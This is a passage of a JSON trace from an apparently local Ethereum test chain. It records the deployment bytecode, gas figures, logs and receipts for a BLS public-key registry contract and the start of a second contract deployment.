01600160a01b031660009081526001602052604090205490565b604051908152602001610152565b6101a56101a0366004611916565b61045b565b005b6101ca6101b5366004611916565b60ff1660009081526004602052604090205490565b60405163ffffffff9091168152602001610152565b6101a56101ed3660046119a1565b6105b4565b61021b610200366004611a47565b6000908152600260205260409020546001600160a01b031690565b6040516001600160a01b039091168152602001610152565b610282610241366004611916565b60408051808201909152600080825260208201525060ff16600090815260056020908152604091829020825180840190935280548352600101549082015290565b6040516101529190611a60565b6102a261029d366004611a77565b610672565b60408051825167ffffffffffffffff1916815260208084015163ffffffff908116918301919091529282015190921690820152606001610152565b6102f06102eb366004611aa1565b610705565b60405167ffffffffffffffff199091168152602001610152565b61021b7f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f3681565b61034461033f366004611a77565b6108a0565b6040805167ffffffffffffffff19909416845263ffffffff9283166020850152911690820152606001610152565b6103856103803660046118e3565b6108eb565b604080518351815260209384015193810193909352820152606001610152565b6101416103b3366004611916565b6005602052600090815260409020805460019091015482565b6101846103da366004611ae9565b6109b8565b6103f26103ed366004611b46565b610e0b565b6040516101529190611bbe565b61018461040d3660046118e3565b60016020526000908152604090205481565b61021b61042d366004611a47565b6002602052600090815260409020546001600160a01b031681565b6101a56104563660046119a1565b61101a565b336001600160a01b037f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f3616146104ac5760405162461bcd60e51b81526004016104a390611c08565b60405180910390fd5b60ff81166000908152600460205260409020541561052b5760405162461bcd60e51b815260206004820152603660248201527f424c5341706b52656769737472792e696e697469616c697a6551756f72756d3a6044820152752071756f72756d20616c72656164792065786973747360501b60648201526084016104a3565b60ff166000908152600460209081526040808320815160608101835284815263ffffffff4381168286019081528285018781528454600181018655948852959096209151919092018054955194518316600160e01b026001600160e01b0395909316600160c01b026001600160e01b03199096169190931c179390931791909116919091179055565b336001600160a01b037f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f3616146105fc5760405162461bcd60e51b81526004016104a390611c08565b6000610607836108eb565b50905061061482826110c3565b7f73a2b7fb844724b971802ae9b15db094d4b7192df9d7350e14eb466b9b22eb4e83610655856001600160a01b031660009081526001602052604090205490565b8460405161066593929190611c7c565b60405180910390a1505050565b604080516060810182526000808252602080830182905282840182905260ff8616825260049052919091208054839081106106af576106af611ce2565b600091825260209182902060408051606081018252919092015467ffffffffffffffff1981841b16825263ffffffff600160c01b8204811694830194909452600160e01b90049092169082015290505b92915050565b60ff8316600090815260046020526040812080548291908490811061072c5761072c611ce2565b600091825260209182902060408051606081018252919092015467ffffffffffffffff1981841b16825263ffffffff600160c01b82048116948301859052600160e01b9091048116928201929092529250851610156107f35760405162461bcd60e51b815260206004820152603e60248201527f424c5341706b52656769737472792e5f76616c696461746541706b486173684160448201527f74426c6f636b4e756d6265723a20696e64657820746f6f20726563656e74000060648201526084016104a3565b604081015163ffffffff1615806108195750806040015163ffffffff168463ffffffff16105b6108975760405162461bcd60e51b815260206004820152604360248201527f424c5341706b52656769737472792e5f76616c696461746541706b486173684160448201527f74426c6f636b4e756d6265723a206e6f74206c61746573742061706b2075706460648201526261746560e81b608482015260a4016104a3565b51949350505050565b600460205281600052604060002081815481106108bc57600080fd5b600091825260209091200154604081901b925063ffffffff600160c01b820481169250600160e01b9091041683565b60408051808201909152600080825260208201526001600160a01b0382166000818152600360209081526040808320815180830183528154815260019182015481850152948452909152812054909190806109ae5760405162461bcd60e51b815260206004820152603e60248201527f424c5341706b52656769737472792e676574526567697374657265645075626b60448201527f65793a206f70657261746f72206973206e6f742072656769737465726564000060648201526084016104a3565b9094909350915050565b6000336001600160a01b037f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f361614610a025760405162461bcd60e51b81526004016104a390611c08565b6000610a30610a1936869003860160408701611cf8565b805160009081526020918201519091526040902090565b90507fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb58103610ab7576040805162461bcd60e51b8152602060048201526024810191909152600080516020611eb283398151915260448201527f4b65793a2063616e6e6f74207265676973746572207a65726f207075626b657960648201526084016104a3565b6001600160a01b03851660009081526001602052604090205415610b415760405162461bcd60e51b81526020600482015260476024820152600080516020611eb283398151915260448201527f4b65793a206f70657261746f7220616c72656164792072656769737465726564606482015266207075626b657960c81b608482015260a4016104a3565b6000818152600260205260409020546001600160a01b031615610bc55760405162461bcd60e51b81526020600482015260426024820152600080516020611eb283398151915260448201527f4b65793a207075626c6963206b657920616c7265616479207265676973746572606482015261195960f21b608482015260a4016104a3565b604080516000917f30644e72e131a029b85045b68181585d2833e84879b9709143e1f593f000000191610c1e918835916020808b0135928b01359160608c01359160808d019160c08e01918d35918e8201359101611d2a565b6040516020818303038152906040528051906020012060001c610c419190611d6c565b9050610cdb610c7a610c6583610c5f368a90038a0160408b01611cf8565b90611307565b610c7436899003890189611cf8565b90611398565b610c8261142d565b610cc4610cb585610c5f604080518082018252600080825260209182015281518083019092526001825260029082015290565b610c74368a90038a018a611cf8565b610cd6368a90038a0160808b01611dde565b6114ed565b610d765760405162461bcd60e51b815260206004820152606c6024820152600080516020611eb283398151915260448201527f4b65793a2065697468657220746865204731207369676e61747572652069732060648201527f77726f6e672c206f7220473120616e642047322070726976617465206b65792060848201526b0c8de40dcdee840dac2e8c6d60a31b60a482015260c4016104a3565b6001600160a01b03861660008181526003602090815260408083208982018035825560608b013560019283015590835281842087905586845260029092529182902080546001600160a01b0319168417905590517fe3fb6613af2e8930cf85d47fcf6db10192224a64c6cbe8023e0eee1ba382804191610dfa9160808a0190611e1d565b60405180910390a250949350505050565b606060008367ffffffffffffffff811115610e2857610e28611931565b604051908082528060200260200182016040528015610e51578160200160208202803683370190505b50905060005b84811015611011576000868683818110610e7357610e73611ce2565b919091013560f81c6000818152600460205260409020549092509050801580610ed6575060ff821660009081526004602052604081208054909190610eba57610eba611ce2565b600091825260209091200154600160c01b900463ffffffff1686105b15610f635760405162461bcd60e51b815260206004820152605160248201527f424c5341706b52656769737472792e67657441706b496e64696365734174426c60448201527f6f636b4e756d6265723a20626c6f636b4e756d626572206973206265666f7265606482015270207468652066697273742075706461746560781b608482015260a4016104a3565b805b80156110065760ff831660009081526004602052604090208790610f8a600184611e5d565b81548110610f9a57610f9a611ce2565b600091825260209091200154600160c01b900463ffffffff1611610ff457610fc3600182611e5d565b858581518110610fd557610fd5611ce2565b602002602001019063ffffffff16908163ffffffff1681525050611006565b80610ffe81611e70565b915050610f65565b505050600101610e57565b50949350505050565b336001600160a01b037f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f3616146110625760405162461bcd60e51b81526004016104a390611c08565b600061106d836108eb565b5090506110828261107d83611751565b6110c3565b7ff843ecd53a563675e62107be1494fdde4a3d49aeedaf8d88c616d85346e3500e83610655856001600160a01b031660009081526001602052604090205490565b604080518082019091526000808252602082015260005b83518110156113015760008482815181106110f7576110f7611ce2565b0160209081015160f81c600081815260049092526040822054909250908190036111895760405162461bcd60e51b815260206004820152603d60248201527f424c5341706b52656769737472792e5f70726f6365737351756f72756d41706b60448201527f5570646174653a2071756f72756d20646f6573206e6f7420657869737400000060648201526084016104a3565b60ff821660009081526005602090815260409182902082518084019093528054835260010154908201526111bd9086611398565b60ff831660008181526005602090815260408083208551808255868401805160019384015590855251835281842094845260049092528220939750919290916112069085611e5d565b8154811061121657611216611ce2565b6000918252602090912001805490915063ffffffff438116600160c01b90920416036112555780546001600160c01b031916604083901c1781556112f1565b805463ffffffff438116600160e01b8181026001600160e01b0394851617855560ff88166000908152600460209081526040808320815160608101835267ffffffffffffffff198b16815280840196875280830185815282546001810184559286529390942093519301805495519251871690940291909516600160c01b026001600160e01b0319949094169190941c17919091179092161790555b5050600190920191506110da9050565b50505050565b6040805180820190915260008082526020820152611323611810565b835181526020808501519082015260408082018490526000908360608460076107d05a03fa9050808061135257fe5b50806113905760405162461bcd60e51b815260206004820152600d60248201526c1958cb5b5d5b0b59985a5b1959609a1b60448201526064016104a3565b505092915050565b60408051808201909152600080825260208201526113b461182e565b835181526020808501518183015283516040808401919091529084015160608301526000908360808460066107d05a03fa905080806113ef57fe5b50806113905760405162461bcd60e51b815260206004820152600d60248201526c1958cb5859190b59985a5b1959609a1b60448201526064016104a3565b61143561184c565b50604080516080810182527f198e9393920d483a7260bfb731fb5d25f1aa493335a9e71297e485b7aef312c28183019081527f1800deef121f1e76426a00665e5c4479674322d4f75edadd46debd5cd992f6ed6060830152815281518083019092527f275dc4a288d1afb3cbb1ac09187524c7db36395df7be3b99e673b13a075a65ec82527f1d9befcd05a5323e6da4d435f3b617cdb3af83285c2df711ef39c01571827f9d60208381019190915281019190915290565b60408051808201825285815260208082018590528251808401909352858352820183905260009161151c611871565b60005b60028110156116d7576000611535826006611e87565b905084826002811061154957611549611ce2565b6020020151518361155b836000611e9e565b600c811061156b5761156b611ce2565b602002015284826002811061158257611582611ce2565b602002015160200151838260016115999190611e9e565b600c81106115a9576115a9611ce2565b60200201528382600281106115c0576115c0611ce2565b60200201515151836115d3836002611e9e565b600c81106115e3576115e3611ce2565b60200201528382600281106115fa576115fa611ce2565b6020020151516001602002015183611613836003611e9e565b600c811061162357611623611ce2565b602002015283826002811061163a5761163a611ce2565b60200201516020015160006002811061165557611655611ce2565b602002015183611666836004611e9e565b600c811061167657611676611ce2565b602002015283826002811061168d5761168d611ce2565b6020020151602001516001600281106116a8576116a8611ce2565b6020020151836116b9836005611e9e565b600c81106116c9576116c9611ce2565b60200201525060010161151f565b506116e0611890565b60006020826101808560086107d05a03fa905080806116fb57fe5b50806117415760405162461bcd60e51b81526020600482015260156024820152741c185a5c9a5b99cb5bdc18dbd9194b59985a5b1959605a1b60448201526064016104a3565b5051151598975050505050505050565b6040805180820190915260008082526020820152815115801561177657506020820151155b15611794575050604080518082019091526000808252602082015290565b6040518060400160405280836000015181526020017f30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd4784602001516117d99190611d6c565b611803907f30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd47611e5d565b905292915050565b919050565b60405180606001604052806003906020820280368337509192915050565b60405180608001604052806004906020820280368337509192915050565b604051806040016040528061185f6118ae565b815260200161186c6118ae565b905290565b604051806101800160405280600c906020820280368337509192915050565b60405180602001604052806001906020820280368337509192915050565b60405180604001604052806002906020820280368337509192915050565b80356001600160a01b038116811461180b57600080fd5b6000602082840312156118f557600080fd5b6118fe826118cc565b9392505050565b803560ff8116811461180b57600080fd5b60006020828403121561192857600080fd5b6118fe82611905565b634e487b7160e01b600052604160045260246000fd5b6040805190810167ffffffffffffffff8111828210171561196a5761196a611931565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171561199957611999611931565b604052919050565b600080604083850312156119b457600080fd5b6119bd836118cc565b915060208084013567ffffffffffffffff808211156119db57600080fd5b818601915086601f8301126119ef57600080fd5b813581811115611a0157611a01611931565b611a13601f8201601f19168501611970565b91508082528784828501011115611a2957600080fd5b80848401858401376000848284010152508093505050509250929050565b600060208284031215611a5957600080fd5b5035919050565b8151815260208083015190820152604081016106ff565b60008060408385031215611a8a57600080fd5b611a9383611905565b946020939093013593505050565b600080600060608486031215611ab657600080fd5b611abf84611905565b9250602084013563ffffffff81168114611ad857600080fd5b929592945050506040919091013590565b6000806000838503610160811215611b0057600080fd5b611b09856118cc565b9350610100601f1982011215611b1e57600080fd5b602085019250604061011f1982011215611b3757600080fd5b50610120840190509250925092565b600080600060408486031215611b5b57600080fd5b833567ffffffffffffffff80821115611b7357600080fd5b818601915086601f830112611b8757600080fd5b813581811115611b9657600080fd5b876020828501011115611ba857600080fd5b6020928301989097509590910135949350505050565b6020808252825182820181905260009190848201906040850190845b81811015611bfc57835163ffffffff1683529284019291840191600101611bda565b50909695505050505050565b6020808252604e908201527f424c5341706b52656769737472792e6f6e6c795265676973747279436f6f726460408201527f696e61746f723a2063616c6c6572206973206e6f74207468652072656769737460608201526d393c9031b7b7b93234b730ba37b960911b608082015260a00190565b60018060a01b03841681526000602084602084015260606040840152835180606085015260005b81811015611cbf57858101830151858201608001528201611ca3565b506000608082860101526080601f19601f83011685010192505050949350505050565b634e487b7160e01b600052603260045260246000fd5b600060408284031215611d0a57600080fd5b611d12611947565b82358152602083013560208201528091505092915050565b888152876020820152866040820152856060820152604085608083013760408460c0830137610100810192909252610120820152610140019695505050505050565b600082611d8957634e487b7160e01b600052601260045260246000fd5b500690565b600082601f830112611d9f57600080fd5b611da7611947565b806040840185811115611db957600080fd5b845b81811015611dd3578035845260209384019301611dbb565b509095945050505050565b600060808284031215611df057600080fd5b611df8611947565b611e028484611d8e565b8152611e118460408501611d8e565b60208201529392505050565b823581526020808401359082015260c0810160408381840137604080840160808401379392505050565b634e487b7160e01b600052601160045260246000fd5b818103818111156106ff576106ff611e47565b600081611e7f57611e7f611e47565b506000190190565b80820281158282048414176106ff576106ff611e47565b808201808211156106ff576106ff611e4756fe424c5341706b52656769737472792e7265676973746572424c535075626c6963a264697066735822122032bb5054c7a2f6432e5be9a0f6a1c05e87838a89c3e8ae01d982bce76ffd2a6064736f6c63430008180033","gas_used":1614038,"gas_limit":2152488,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x00000000000000000000000000000000000000000000000000000000000000ff"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0}]}],"exit":"Return","out":"0x608060405234801561001057600080fd5b50600436106101155760003560e01c80636d14a987116100a2578063bf79ce5811610071578063bf79ce58146103cc578063d5254a8c146103df578063de29fac0146103ff578063e8bb9ae61461041f578063f4e24fe51461044857600080fd5b80636d14a9871461030a5780637916cea6146103315780637ff81a8714610372578063a3db80e2146103a557600080fd5b80633fb27952116100e95780633fb27952146101df57806347b314e8146101f25780635f61a88414610233578063605747d51461028f57806368bccaac146102dd57600080fd5b8062a1f4cb1461011a57806313542a4e1461015b57806326d941f214610192578063377ed99d146101a7575b600080fd5b6101416101283660046118e3565b6003602052600090815260409020805460019091015482565b604080519283526020830191909152015b60405180910390f35b6101846101693660046118e3565b6001600160a01b031660009081526001602052604090205490565b604051908152602001610152565b6101a56101a0366004611916565b61045b565b005b6101ca6101b5366004611916565b60ff1660009081526004602052604090205490565b60405163ffffffff9091168152602001610152565b6101a56101ed3660046119a1565b6105b4565b61021b610200366004611a47565b6000908152600260205260409020546001600160a01b031690565b6040516001600160a01b039091168152602001610152565b610282610241366004611916565b60408051808201909152600080825260208201525060ff16600090815260056020908152604091829020825180840190935280548352600101549082015290565b6040516101529190611a60565b6102a261029d366004611a77565b610672565b60408051825167ffffffffffffffff1916815260208084015163ffffffff908116918301919091529282015190921690820152606001610152565b6102f06102eb366004611aa1565b610705565b60405167ffffffffffffffff199091168152602001610152565b61021b7f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f3681565b61034461033f366004611a77565b6108a0565b6040805167ffffffffffffffff19909416845263ffffffff9283166020850152911690820152606001610152565b6103856103803660046118e3565b6108eb565b604080518351815260209384015193810193909352820152606001610152565b6101416103b3366004611916565b6005602052600090815260409020805460019091015482565b6101846103da366004611ae9565b6109b8565b6103f26103ed366004611b46565b610e0b565b6040516101529190611bbe565b61018461040d3660046118e3565b60016020526000908152604090205481565b61021b61042d366004611a47565b6002602052600090815260409020546001600160a01b031681565b6101a56104563660046119a1565b61101a565b336001600160a01b037f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f3616146104ac5760405162461bcd60e51b81526004016104a390611c08565b60405180910390fd5b60ff81166000908152600460205260409020541561052b5760405162461bcd60e51b815260206004820152603660248201527f424c5341706b52656769737472792e696e697469616c697a6551756f72756d3a6044820152752071756f72756d20616c72656164792065786973747360501b60648201526084016104a3565b60ff166000908152600460209081526040808320815160608101835284815263ffffffff4381168286019081528285018781528454600181018655948852959096209151919092018054955194518316600160e01b026001600160e01b0395909316600160c01b026001600160e01b03199096169190931c179390931791909116919091179055565b336001600160a01b037f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f3616146105fc5760405162461bcd60e51b81526004016104a390611c08565b6000610607836108eb565b50905061061482826110c3565b7f73a2b7fb844724b971802ae9b15db094d4b7192df9d7350e14eb466b9b22eb4e83610655856001600160a01b031660009081526001602052604090205490565b8460405161066593929190611c7c565b60405180910390a1505050565b604080516060810182526000808252602080830182905282840182905260ff8616825260049052919091208054839081106106af576106af611ce2565b600091825260209182902060408051606081018252919092015467ffffffffffffffff1981841b16825263ffffffff600160c01b8204811694830194909452600160e01b90049092169082015290505b92915050565b60ff8316600090815260046020526040812080548291908490811061072c5761072c611ce2565b600091825260209182902060408051606081018252919092015467ffffffffffffffff1981841b16825263ffffffff600160c01b82048116948301859052600160e01b9091048116928201929092529250851610156107f35760405162461bcd60e51b815260206004820152603e60248201527f424c5341706b52656769737472792e5f76616c696461746541706b486173684160448201527f74426c6f636b4e756d6265723a20696e64657820746f6f20726563656e74000060648201526084016104a3565b604081015163ffffffff1615806108195750806040015163ffffffff168463ffffffff16105b6108975760405162461bcd60e51b815260206004820152604360248201527f424c5341706b52656769737472792e5f76616c696461746541706b486173684160448201527f74426c6f636b4e756d6265723a206e6f74206c61746573742061706b2075706460648201526261746560e81b608482015260a4016104a3565b51949350505050565b600460205281600052604060002081815481106108bc57600080fd5b600091825260209091200154604081901b925063ffffffff600160c01b820481169250600160e01b9091041683565b60408051808201909152600080825260208201526001600160a01b0382166000818152600360209081526040808320815180830183528154815260019182015481850152948452909152812054909190806109ae5760405162461bcd60e51b815260206004820152603e60248201527f424c5341706b52656769737472792e676574526567697374657265645075626b60448201527f65793a206f70657261746f72206973206e6f742072656769737465726564000060648201526084016104a3565b9094909350915050565b6000336001600160a01b037f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f361614610a025760405162461bcd60e51b81526004016104a390611c08565b6000610a30610a1936869003860160408701611cf8565b805160009081526020918201519091526040902090565b90507fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb58103610ab7576040805162461bcd60e51b8152602060048201526024810191909152600080516020611eb283398151915260448201527f4b65793a2063616e6e6f74207265676973746572207a65726f207075626b657960648201526084016104a3565b6001600160a01b03851660009081526001602052604090205415610b415760405162461bcd60e51b81526020600482015260476024820152600080516020611eb283398151915260448201527f4b65793a206f70657261746f7220616c72656164792072656769737465726564606482015266207075626b657960c81b608482015260a4016104a3565b6000818152600260205260409020546001600160a01b031615610bc55760405162461bcd60e51b81526020600482015260426024820152600080516020611eb283398151915260448201527f4b65793a207075626c6963206b657920616c7265616479207265676973746572606482015261195960f21b608482015260a4016104a3565b604080516000917f30644e72e131a029b85045b68181585d2833e84879b9709143e1f593f000000191610c1e918835916020808b0135928b01359160608c01359160808d019160c08e01918d35918e8201359101611d2a565b6040516020818303038152906040528051906020012060001c610c419190611d6c565b9050610cdb610c7a610c6583610c5f368a90038a0160408b01611cf8565b90611307565b610c7436899003890189611cf8565b90611398565b610c8261142d565b610cc4610cb585610c5f604080518082018252600080825260209182015281518083019092526001825260029082015290565b610c74368a90038a018a611cf8565b610cd6368a90038a0160808b01611dde565b6114ed565b610d765760405162461bcd60e51b815260206004820152606c6024820152600080516020611eb283398151915260448201527f4b65793a2065697468657220746865204731207369676e61747572652069732060648201527f77726f6e672c206f7220473120616e642047322070726976617465206b65792060848201526b0c8de40dcdee840dac2e8c6d60a31b60a482015260c4016104a3565b6001600160a01b03861660008181526003602090815260408083208982018035825560608b013560019283015590835281842087905586845260029092529182902080546001600160a01b0319168417905590517fe3fb6613af2e8930cf85d47fcf6db10192224a64c6cbe8023e0eee1ba382804191610dfa9160808a0190611e1d565b60405180910390a250949350505050565b606060008367ffffffffffffffff811115610e2857610e28611931565b604051908082528060200260200182016040528015610e51578160200160208202803683370190505b50905060005b84811015611011576000868683818110610e7357610e73611ce2565b919091013560f81c6000818152600460205260409020549092509050801580610ed6575060ff821660009081526004602052604081208054909190610eba57610eba611ce2565b600091825260209091200154600160c01b900463ffffffff1686105b15610f635760405162461bcd60e51b815260206004820152605160248201527f424c5341706b52656769737472792e67657441706b496e64696365734174426c60448201527f6f636b4e756d6265723a20626c6f636b4e756d626572206973206265666f7265606482015270207468652066697273742075706461746560781b608482015260a4016104a3565b805b80156110065760ff831660009081526004602052604090208790610f8a600184611e5d565b81548110610f9a57610f9a611ce2565b600091825260209091200154600160c01b900463ffffffff1611610ff457610fc3600182611e5d565b858581518110610fd557610fd5611ce2565b602002602001019063ffffffff16908163ffffffff1681525050611006565b80610ffe81611e70565b915050610f65565b505050600101610e57565b50949350505050565b336001600160a01b037f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f3616146110625760405162461bcd60e51b81526004016104a390611c08565b600061106d836108eb565b5090506110828261107d83611751565b6110c3565b7ff843ecd53a563675e62107be1494fdde4a3d49aeedaf8d88c616d85346e3500e83610655856001600160a01b031660009081526001602052604090205490565b604080518082019091526000808252602082015260005b83518110156113015760008482815181106110f7576110f7611ce2565b0160209081015160f81c600081815260049092526040822054909250908190036111895760405162461bcd60e51b815260206004820152603d60248201527f424c5341706b52656769737472792e5f70726f6365737351756f72756d41706b60448201527f5570646174653a2071756f72756d20646f6573206e6f7420657869737400000060648201526084016104a3565b60ff821660009081526005602090815260409182902082518084019093528054835260010154908201526111bd9086611398565b60ff831660008181526005602090815260408083208551808255868401805160019384015590855251835281842094845260049092528220939750919290916112069085611e5d565b8154811061121657611216611ce2565b6000918252602090912001805490915063ffffffff438116600160c01b90920416036112555780546001600160c01b031916604083901c1781556112f1565b805463ffffffff438116600160e01b8181026001600160e01b0394851617855560ff88166000908152600460209081526040808320815160608101835267ffffffffffffffff198b16815280840196875280830185815282546001810184559286529390942093519301805495519251871690940291909516600160c01b026001600160e01b0319949094169190941c17919091179092161790555b5050600190920191506110da9050565b50505050565b6040805180820190915260008082526020820152611323611810565b835181526020808501519082015260408082018490526000908360608460076107d05a03fa9050808061135257fe5b50806113905760405162461bcd60e51b815260206004820152600d60248201526c1958cb5b5d5b0b59985a5b1959609a1b60448201526064016104a3565b505092915050565b60408051808201909152600080825260208201526113b461182e565b835181526020808501518183015283516040808401919091529084015160608301526000908360808460066107d05a03fa905080806113ef57fe5b50806113905760405162461bcd60e51b815260206004820152600d60248201526c1958cb5859190b59985a5b1959609a1b60448201526064016104a3565b61143561184c565b50604080516080810182527f198e9393920d483a7260bfb731fb5d25f1aa493335a9e71297e485b7aef312c28183019081527f1800deef121f1e76426a00665e5c4479674322d4f75edadd46debd5cd992f6ed6060830152815281518083019092527f275dc4a288d1afb3cbb1ac09187524c7db36395df7be3b99e673b13a075a65ec82527f1d9befcd05a5323e6da4d435f3b617cdb3af83285c2df711ef39c01571827f9d60208381019190915281019190915290565b60408051808201825285815260208082018590528251808401909352858352820183905260009161151c611871565b60005b60028110156116d7576000611535826006611e87565b905084826002811061154957611549611ce2565b6020020151518361155b836000611e9e565b600c811061156b5761156b611ce2565b602002015284826002811061158257611582611ce2565b602002015160200151838260016115999190611e9e565b600c81106115a9576115a9611ce2565b60200201528382600281106115c0576115c0611ce2565b60200201515151836115d3836002611e9e565b600c81106115e3576115e3611ce2565b60200201528382600281106115fa576115fa611ce2565b6020020151516001602002015183611613836003611e9e565b600c811061162357611623611ce2565b602002015283826002811061163a5761163a611ce2565b60200201516020015160006002811061165557611655611ce2565b602002015183611666836004611e9e565b600c811061167657611676611ce2565b602002015283826002811061168d5761168d611ce2565b6020020151602001516001600281106116a8576116a8611ce2565b6020020151836116b9836005611e9e565b600c81106116c9576116c9611ce2565b60200201525060010161151f565b506116e0611890565b60006020826101808560086107d05a03fa905080806116fb57fe5b50806117415760405162461bcd60e51b81526020600482015260156024820152741c185a5c9a5b99cb5bdc18dbd9194b59985a5b1959605a1b60448201526064016104a3565b5051151598975050505050505050565b6040805180820190915260008082526020820152815115801561177657506020820151155b15611794575050604080518082019091526000808252602082015290565b6040518060400160405280836000015181526020017f30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd4784602001516117d99190611d6c565b611803907f30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd47611e5d565b905292915050565b919050565b60405180606001604052806003906020820280368337509192915050565b60405180608001604052806004906020820280368337509192915050565b604051806040016040528061185f6118ae565b815260200161186c6118ae565b905290565b604051806101800160405280600c906020820280368337509192915050565b60405180602001604052806001906020820280368337509192915050565b60405180604001604052806002906020820280368337509192915050565b80356001600160a01b038116811461180b57600080fd5b6000602082840312156118f557600080fd5b6118fe826118cc565b9392505050565b803560ff8116811461180b57600080fd5b60006020828403121561192857600080fd5b6118fe82611905565b634e487b7160e01b600052604160045260246000fd5b6040805190810167ffffffffffffffff8111828210171561196a5761196a611931565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171561199957611999611931565b604052919050565b600080604083850312156119b457600080fd5b6119bd836118cc565b915060208084013567ffffffffffffffff808211156119db57600080fd5b818601915086601f8301126119ef57600080fd5b813581811115611a0157611a01611931565b611a13601f8201601f19168501611970565b91508082528784828501011115611a2957600080fd5b80848401858401376000848284010152508093505050509250929050565b600060208284031215611a5957600080fd5b5035919050565b8151815260208083015190820152604081016106ff565b60008060408385031215611a8a57600080fd5b611a9383611905565b946020939093013593505050565b600080600060608486031215611ab657600080fd5b611abf84611905565b9250602084013563ffffffff81168114611ad857600080fd5b929592945050506040919091013590565b6000806000838503610160811215611b0057600080fd5b611b09856118cc565b9350610100601f1982011215611b1e57600080fd5b602085019250604061011f1982011215611b3757600080fd5b50610120840190509250925092565b600080600060408486031215611b5b57600080fd5b833567ffffffffffffffff80821115611b7357600080fd5b818601915086601f830112611b8757600080fd5b813581811115611b9657600080fd5b876020828501011115611ba857600080fd5b6020928301989097509590910135949350505050565b6020808252825182820181905260009190848201906040850190845b81811015611bfc57835163ffffffff1683529284019291840191600101611bda565b50909695505050505050565b6020808252604e908201527f424c5341706b52656769737472792e6f6e6c795265676973747279436f6f726460408201527f696e61746f723a2063616c6c6572206973206e6f74207468652072656769737460608201526d393c9031b7b7b93234b730ba37b960911b608082015260a00190565b60018060a01b03841681526000602084602084015260606040840152835180606085015260005b81811015611cbf57858101830151858201608001528201611ca3565b506000608082860101526080601f19601f83011685010192505050949350505050565b634e487b7160e01b600052603260045260246000fd5b600060408284031215611d0a57600080fd5b611d12611947565b82358152602083013560208201528091505092915050565b888152876020820152866040820152856060820152604085608083013760408460c0830137610100810192909252610120820152610140019695505050505050565b600082611d8957634e487b7160e01b600052601260045260246000fd5b500690565b600082601f830112611d9f57600080fd5b611da7611947565b806040840185811115611db957600080fd5b845b81811015611dd3578035845260209384019301611dbb565b509095945050505050565b600060808284031215611df057600080fd5b611df8611947565b611e028484611d8e565b8152611e118460408501611d8e565b60208201529392505050565b823581526020808401359082015260c0810160408381840137604080840160808401379392505050565b634e487b7160e01b600052601160045260246000fd5b818103818111156106ff576106ff611e47565b600081611e7f57611e7f611e47565b506000190190565b80820281158282048414176106ff576106ff611e47565b808201808211156106ff576106ff611e4756fe424c5341706b52656769737472792e7265676973746572424c535075626c6963a264697066735822122032bb5054c7a2f6432e5be9a0f6a1c05e87838a89c3e8ae01d982bce76ffd2a6064736f6c63430008180033","nonce":45,"gas_used":1797106},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x1b6bf2","logs":[{"address":"0x9d4454b023096f34b160d6b654540c56a1f81688","topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x00000000000000000000000000000000000000000000000000000000000000ff"}],"logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000400000000000000000080000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000"},"block_hash":"0x4a979620565bfe97a5607de9791d44fe6f8f605f2ad6877c2f02fde835f49757","block_number":9},{"info":{"transaction_hash":"0x9df730c443d92dfe2e29174fa911531116d270bf29cc55981068a8a89b1de078","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x5fbdb2315678afecb367f032d93f642f64180aa3","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x5fbdb2315678afecb367f032d93f642f64180aa3","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x61012060405234801561001157600080fd5b5060405161349738038061349783398101604081905261003091610140565b6001600160a01b0380861660805280851660a05280841660c05280831660e05281166101005261005e610068565b50505050506101b5565b600054610100900460ff16156100d45760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff9081161015610126576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6001600160a01b038116811461013d57600080fd5b50565b600080600080600060a0868803121561015857600080fd5b855161016381610128565b602087015190955061017481610128565b604087015190945061018581610128565b606087015190935061019681610128565b60808701519092506101a781610128565b809150509295509295909350565b60805160a05160c05160e0516101005161326d61022a60003960008181610636015281816106e001528181610b0e015281816113ea0152818161187e015261196e01526000610542015260006102e601526000818161027a01528181611369015261203c01526000610414015261326d6000f3fe6080604052600436106101ee5760003560e01c80638da5cb5b1161010d578063c052bd61116100a0578063d1c64cc91161006f578063d1c64cc914610604578063ea4d3c9b14610624578063f2fde38b14610658578063f6848d2414610678578063fabc1cbc146106b